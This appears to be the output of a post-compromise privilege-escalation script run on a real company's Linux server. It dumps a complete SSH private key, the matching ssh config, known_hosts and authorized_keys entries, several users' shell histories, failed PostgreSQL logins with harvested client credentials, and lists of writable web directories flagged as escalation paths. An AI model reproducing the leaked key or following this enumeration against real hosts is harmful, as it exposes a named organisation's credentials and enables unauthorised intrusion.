===== [P1] npontucontrl SSH private key + config =====
--- id_rsa (full) ---
-----BEGIN OPENSSH PRIVATE KEY-----
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
ECAw==
-----END OPENSSH PRIVATE KEY-----
--- ssh config ---
#GitLab.com server
Host gitlab.npontutechnologies.com
Port 3071
PubkeyAuthentication yes
IdentityFile ~/.ssh/id_rsa
--- known_hosts ---
[gitlab.npontutechnologies.com]:3071,[95.216.244.146]:3071 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMhfX0Fp6KTzi9B0ni9kk90yZtsHoGHlfraA1wu95Tun9BQvATOZO3RoKkkUUxTVSlF6az0PKVUtdXQKcORkbwQ=
--- authorized_keys (who else can log in as npontucontrl) ---
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCqM/LjOaegLHP8vdTWc255I77CESedneYs3MXY+lnO0cGs6436Rl9XQtPcyJ2tM+sh2WeZffOImeABEDyhhHIw9zAAkLwXck6tZdQdRxLv8QJxkh+BwgJfpM+R7hfyaIOraqJMp0x1MNlC33ir1VK72QA8zfzNOktZVXzNeFk3tm7PBelgelr0h54wA7EeJITkLo1VkQ8ujw8XF+eZxaM392AzmAQBJMsAKIJZ0ItDQxjL9Cou/NlQTUYwVV1oWzEhgZ7IF1Xvk4KxShuRUSFuiYMvpRQg9ruMdmo1AZ27NWjq1wttdbm7XyjvdZBK8wMiW9NKE0DMcwdTt9p26p5D8+BT9QEGK3ER1RYA93eFsYm428LQ3MRm90/MBI7JFQ4+Wk2GiIfBDeBX4wuQOAUK5k6crDEV8IfVNF0+oIBEvg4PRwVi8WLsrcqNPeIt1F1muvb8vN/dItp/smZwWgd0ANpRpZssN7dyy2KWTrOHM0Q2tTVokNN+wwF2S/PHFQZtJl49o5++mUdh67QewnEzLEnIO3jmZE9ZBgzWhbwGzDeZ0ap6all22fDczrx4LVcTjWOAuPbwJ9ulbDmozcbG0idNFhb/GjKfSyUjO6RrHnjmpnGLfXNhAEI+ZDTmXnlILztKYq444sS8EqIsCUI7JLsMgJP8hIf4bFGUC97EPQ== npontucontrl@CentOS-80-stream-amd64-base

===== [P2] readable bash_history of privileged-ish users =====
=== /home/jones/.bash_history (75 lines) ===
sudo su 
curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.7/install.sh | bash
source ~/.bash_profile
command -v nvm
nvm list-remote
nvm list
nvm install v20.13.0
nvm list
npm -version
sudo su 
node -v
sudo node -v
cd /var/www/html/
ls
ll
npm -version
sudo su
npm -v
sudo nvm list
nano  ~/.bash_profile
nano  ~/.bashrc
node -v
sudo su
nano ~/.bashrc
sudo su
clear
nano ~/.bashrc
sudo su
sudo su
cd /var/www/html/
clear
sudo su
cd /etc/nginx/conf.d/
clear
sudo su 
sduo su
sudo su
sudo su
sudo su 
sudo su 
sudon su
sudo su
sudo su
sudo su 
cd /var/www/html/clean_web/public/storage
grep 'dwHFJM5tjn3.jpeg' services/
grep -r 'dwHFJM5tjn3.jpeg' services/
cd services/
ls
clear
sudo su
sudo su
sudo su
sudo su
systemctl status postgresql
systemctl status postgresqld
systemctl status postgres
systemctl status postgresd
sudo su
 sudo su 
sudo su 
cd /etc/nginx/conf.d/
ls
cat clean_website.conf
clear
ls
cat clean_web.conf
free -h
top -c
df -h
clear
ls
mv tickets-manager /var/www/html/
sudo su
sudo su

=== /home/john/.bash_history (745 lines) ===
git push
git remote -v
cd /var/www/html/KedebahV2/kedebah_v2_hr_api/
php82 artisan ti
cd /var/www/html/agi-trust-seal
php82 artisan route:list | grep 'live'
cd /var/www/html/agi-trust-seal
php82 artisan ti
cd /var/www/html/agi-trust-seal
php82 artisan ti
cat .env
php82 artisan o:c
sudo su
php82 artisan ti
cd /var/www/html/agi-trust-seal
clear
cd /var/www/html/agi-trust-seal
clear
php82 artisan ti
cd /var/www/html/KedebahV2/kedebah_v2_hr_api/
php82 artisan ti
cd /var/www/html/agi-trust-seal
php82 artisan ti
cd /var/www/html/KedebahV2/kedebah_v2_hr_api/
php82 artisan ti
cd /var/www/html/agi-trust-seal
clear
php82 artisan ti
cd /var/www/html/KedebahV2/kedebah_v2_hr_api/
php82 artisan ti
clear
cd /var/www/html/KedebahV2/kedebah_v2_hr_api/
php83 artisan ti
php82 artisan ti
clear
cd /var/www/html/KedebahV2/kedebah_v2_hr_api/
php82 artisan tenants:migrate --tenants=devyarmy  --path=database/migrations/general
php82 artisan tenants:migrate --tenants=derby_business  --path=database/migrations/general
php82 artisan ti
php82 artisan tenants:migrate --tenants=derby_business  --path=database/migrations/general
php82 artisan ti
php82 artisan tenants:migrate --tenants=derby_business  --path=database/migrations/general/2025_01_22_233643_copy_central_db_tables.php
sudo su
clear
php82 artisan ti
clear
cd /var/www/html/KedebahV2/kedebah_v2_hr_api/
tail -f storage/logs/laravel.log -n 100000 | grep 'Sending attendance data for analysis by Snwolley'
php82 artisan ti
cd /var/www/html/KedebahV2/kedebah_v2_hr_api/
clear
tail -f storage/logs/laravel.log -n 1000
tail -f storage/logs/laravel.log -n 10000
tail -f storage/logs/laravel.log -n 100000 | head 10000
tail  storage/logs/laravel.log -n 100000 | head -n10000
tail  storage/logs/laravel.log -n 50000 | head -n10000
clear;tail  storage/logs/laravel.log -n 30000 | head -n10000
clear;tail  storage/logs/laravel.log -n 20000 | head -n5000
php82 artisan ti
php82 artisan tenants:migrate --tenants=derby_business  --path=database/migrations/hr/
php82 artisan ti
cd /var/www/html/agi-trust-seal
clear
tail -f storage/logs/laravel.log 
clear
sudo su
clear
npm run build
ll public/
ll storage/v
ll public/vendor/
ll public/assets/
ll public/assets/js/
ll public/assets/js/vendor/
pwd
clear
cd /var/www/html/agi-trust-seal
sudo su
clear
php82 artisan ti

=== /home/daniel/.bash_history (134 lines) ===
sudo su
cd /var/www/html/KedebahV2_1/kedebah_v2_tenant_processor
cd ../kedebah_v2_finance/
sudo su
cd /var/www/html/KedebahV2_1/kedebah_v2_tenant_processor
clear
sudo su
clear
sudo su
sudo su 
sudo su
cd /var/www/html/KedebahV2_1/kedebah_v2_tenant_processor
sudo su
clear
cd /var/www/html/KedebahV2_1/kedebah_v2_tenant_processor
clear
sudo su
clear
git status
sudo su
sudo su
cd /var/www/html/KedebahV2_1/kedebah_v2_tenant_processor
sudo su
cd /var/www/html/KedebahV2_1/kedebah_v2_finance/
git fetch
sudo su
cd /var/www/html/KedebahV2/kedebah_v2_finance/
clear
cd ..
dc ..
cd ..
cd KedebahV2_1/
cd kedebah_v2_tenant_processor/
clear
tail -f storage/logs/laravel.log 
clear
cd ../kedebah_v2_onboarding_api/
clear
cd storage/logs/
ls
tail -f tenant_processing.log 
tail -n 100 -f tenant_processing.log 
cd /var/www/html/KedebahV2_1/kedebah_v2_tenant_processor/
clear
tail -f storage/logs/laravel.log 
clear
git fetch
sudo su
clear
cd /var/www/html/KedebahV2_1/
clear
cd kedebah_v2_tenant_processor/
php artisan tenants:migrate --path=database/migrations/general --tenants=npontu_technologies_limited
fit fetch
cd ../kedebah_v2_tenant_processor/
clear
cd ../kedebah_v2_finance/
clear
git fecth
git fetch
sudo su
cd /var/www/html/KedebahV2_1/kedebah_v2_finance/
git fetch ; 
sudo su
sudo su 
cd /var/www/html/KedebahV2_1/kedebah_v2_finance/
tail -f storage/logs/laravel.log 
sudo su
clear
sudo su
systemctl restart php-fpm
sudo su
sudos u
sudo su
udo su
sudo su
clear
sudo su
clear
sudo su

=== /home/david/.bash_history (150 lines) ===
clear
sudo -s
sudo -s
cd /etc/
cd php
clear
cd /run/php/
cd /etc/php
clear
cd /var/run/
ls
clear
cd ../
cd /etc/
clear
clear
sudo -s
clear
sudo -s
sudo 0s
sudo -s
clear
sudo -s
sudo-s
sudo -s
clear
sudo -s
clear
sudo -s
sudo -s
clear
sudo -s
sudoi -s
sudo -s
cd /etc/nginx/conf.d
clear
sudo =-s
sudo -s
clear
ping sbxeliberia.npontutechnologies.com
sudo -s
sudo -s
sudo -s
sudo -s
sudo -s
sudo -s
clear
sudo -s
sudo -s
sudo -s
sudo -s
sudo -s
cd /var/www/html/KedebahV2/kedebah_v2_email_api/
cd storage/logs
ll
clear
cd ../../
tail -f storage/logs/laravel.log
tail -f storage/logs/mail_notification_service.log
ll
cd /var/www/html/KedebahV2/kedebah_v2_email_api/
tail -f storage/logs/laravel.log
sudo -s
sudo =s
sudo -s
cd /var/www/html/itc-payment-api/
cd storage/logs/
ll
tail -f itc-2025-09-08.log
cd ../../
cat .env
tail -f storage/logs/itc-2025-09-08.log 
tail -f storage/logs/itc-2025-09-09.log 
git fetch
sudo -s
clear
sudo -s
clear
sudo -s
clear

=== /home/deployer/.bash_history (17 lines) ===
ssh-keygen -t rsa -b 4096
cd .ssh/
ls
cat id_rsa.pub
LS
ls
cat id_rsa
cat ~/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys
cd .ssh/
ls
cat authorized_keys 
ll
sudo su
sudo su
sudo su
sudo su
sudo su

=== /home/prince/.bash_history (29 lines) ===
sudo su
exit
ping external-bank.kedebahlite.com
sudo su
sudo su
sudo su
sudo su
sudo su
sudo su
sudo su
sudo su
sudo su
clear
sudo su
sudo su
sudo su
sudo su
sudo su
clear
sudo su
sudo su
sudo su
sudo su
sudo su
clear
sudo su
ping test.mtncoi-coe.com
 sudo -u postgres psql
sudo su


===== [P3] cleanweb.service (recently modified unit) =====
-rw-r--r--. 1 root root 395 Jul 22 15:59 /etc/systemd/system/cleanweb.service
[Unit]
Description=Daemon Service to monitor errors in Clean Web
After=network.target

[Service]
User=root
Group=root
WorkingDirectory=/var/www/html/clean_web/monitor_errors
Environment="PATH=/var/www/html/clean_web/monitor_errors/venv/bin"
ExecStart=/var/www/html/clean_web/monitor_errors/venv/bin/python3 fetch_app_error.py
Restart=on-failure
RestartSec=5

[Install]
WantedBy=multi-user.target--- target binary/script it runs ---
# /etc/systemd/system/cleanweb.service
[Unit]
Description=Daemon Service to monitor errors in Clean Web
After=network.target

[Service]
User=root
Group=root
WorkingDirectory=/var/www/html/clean_web/monitor_errors
Environment="PATH=/var/www/html/clean_web/monitor_errors/venv/bin"
ExecStart=/var/www/html/clean_web/monitor_errors/venv/bin/python3 fetch_app_error.py
Restart=on-failure
RestartSec=5

[Install]
WantedBy=multi-user.target

===== [P4] local PG access probe (known client creds -> is any superuser?) =====
--- pg_hba readable? ---
--- postgres version + data dir ---
postgres 3066489  3.4  0.2 10903164 171984 ?     Ss   Jun11 3383:11 /usr/pgsql-15/bin/postmaster -D /var/lib/pgsql/15/data/
--- try known client creds via psql (itc_user, ghib_001) rolinfo ---
/usr/bin/psql
### try itc_user (rolsuper?)
psql: error: connection to server at "127.0.0.1", port 5432 failed: FATAL:  password authentication failed for user "itc_user"
### try ghib_001 (rolsuper?)
psql: error: connection to server at "127.0.0.1", port 5432 failed: FATAL:  password authentication failed for user "ghib_001"

===== [P5] interesting home dirs readable (deployer, backup_user) =====
total 28
drwx------.  3 npontucontrl npontucontrl 4096 Aug  8  2024 .
drwxr-xr-x. 21 root         root         4096 Feb 16  2026 ..
-rw-------.  1 npontucontrl npontucontrl  194 Aug 15  2024 .bash_history
-rw-r--r--.  1 npontucontrl npontucontrl   18 Apr  7  2022 .bash_logout
-rw-r--r--.  1 npontucontrl npontucontrl  141 Apr  7  2022 .bash_profile
-rw-r--r--.  1 npontucontrl npontucontrl  376 Apr  7  2022 .bashrc
-rw-r--r--.  1 npontucontrl npontucontrl    0 Feb 14  2023 .cloud-locale-test.skip
drwx------.  2 npontucontrl npontucontrl 4096 Aug 15  2024 .ssh
/home/deployer/.bashrc
/home/deployer/.bash_profile
/home/deployer/.bash_history
/home/deployer/.ssh/id_rsa
/home/deployer/.ssh/config
/home/deployer/.ssh/id_rsa.pub
/home/deployer/.ssh/authorized_keys
/home/deployer/.bash_logout
/home/deployer/.cloud-locale-test.skip
--- deployer scripts content ---

===== [P6] writable dirs owned by npontucontrl (potential privesc via cron/root process) =====
/var/www/html/new_company_web
/var/www/html/agi_business_in_a_box_admin_standalone
/var/www/html/fundraiser_api
/var/www/html/agiesc_env-old
/var/www/html/mtnmessenger-bulkprocessor
/var/www/html/kpmg-logging-portal
/var/www/html/cbod-agm-voting
/var/www/html/wastecare
/var/www/html/mtn-agm-admin
/var/www/html/fyeiprogram_rm
--- nginx/apache config writable? ---
total 856
drwxr-xr-x. 2 root root 12288 Jul 27 21:47 .
drwxr-xr-x. 3 root root  4096 Aug 10 07:18 ..
-rw-r--r--. 1 root root  3030 Jun 10 22:56 absa.conf
-rw-r--r--. 1 root root  2957 Jul  9  2025 ac360.conf
-rw-r--r--. 1 root root  2903 May  4 07:39 ac360_liv.conf
-rw-r--r--. 1 root root  2974 Jul 21 08:35 admin_agi_business.conf
-rw-r--r--. 1 root root  3629 Jul 27  2025 admin_eliberia.conf.down
-rw-r--r--. 1 root root  3634 Aug  3  2025 admin_eliberia_gov.conf.down
-rw-r--r--. 1 root root  1672 Jan 27  2026 admin_kedebah_live.conf_down

===== [P7] php-fpm pool users (web -> which user runs what) =====

===== PRIVESC PHASE2 COMPLETE =====